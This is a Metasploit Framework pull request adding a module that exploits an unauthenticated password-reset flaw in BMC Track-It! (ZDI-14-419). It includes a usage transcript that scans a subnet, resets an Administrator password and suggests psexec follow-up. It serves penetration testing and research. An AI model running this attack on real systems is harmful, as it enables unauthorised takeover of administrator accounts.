rapid7/metasploit-framework — pull request #4390 by brandonprry (2014-12-13 19:00:35+00:00)
Title: Add updated BMC TrackIt! aux module

Hi,

This pull request adds an auxiliary module that exploits: http://www.zerodayinitiative.com/advisories/ZDI-14-419/

The vulnerability allows an unauthenticated user to change a local user's password, such as Administrator.

You may find a vulnerable installer here: http://volatileminds.net/Track-It!11.3.exe

Usage:

```bperry@w00den-pickle:~/tmp/metasploit-framework$ ./msfconsole
[*] Starting the Metasploit Framework console...-
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\

=[ metasploit v4.10.1-dev [core:4.10.1.pre.dev api:1.0.0]]
+ -- --=[ 1377 exploits - 773 auxiliary - 222 post ]
+ -- --=[ 342 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use auxiliary/scanner/http/bmc_trackit_passwd_reset
msf auxiliary(bmc_trackit_passwd_reset) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(bmc_trackit_passwd_reset) > set THREADS 10
THREADS => 10
msf auxiliary(bmc_trackit_passwd_reset) > run

[*] Scanned 27 of 256 hosts (10% complete)
[*] Scanned 52 of 256 hosts (20% complete)
[*] Scanned 77 of 256 hosts (30% complete)
[+] 192.168.1.99:80: Please run the psexec module using WIN-R85ELSBASBS\Administrator:kXbtUbITXp!1
[*] Scanned 109 of 256 hosts (42% complete)
[*] Scanned 129 of 256 hosts (50% complete)
[*] Scanned 154 of 256 hosts (60% complete)
[*] Scanned 180 of 256 hosts (70% complete)
[*] Scanned 205 of 256 hosts (80% complete)
[*] Scanned 231 of 256 hosts (90% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(bmc_trackit_passwd_reset) >```

This module overrides the modules from the previous PR: https://github.com/rapid7/metasploit-framework/pull/4359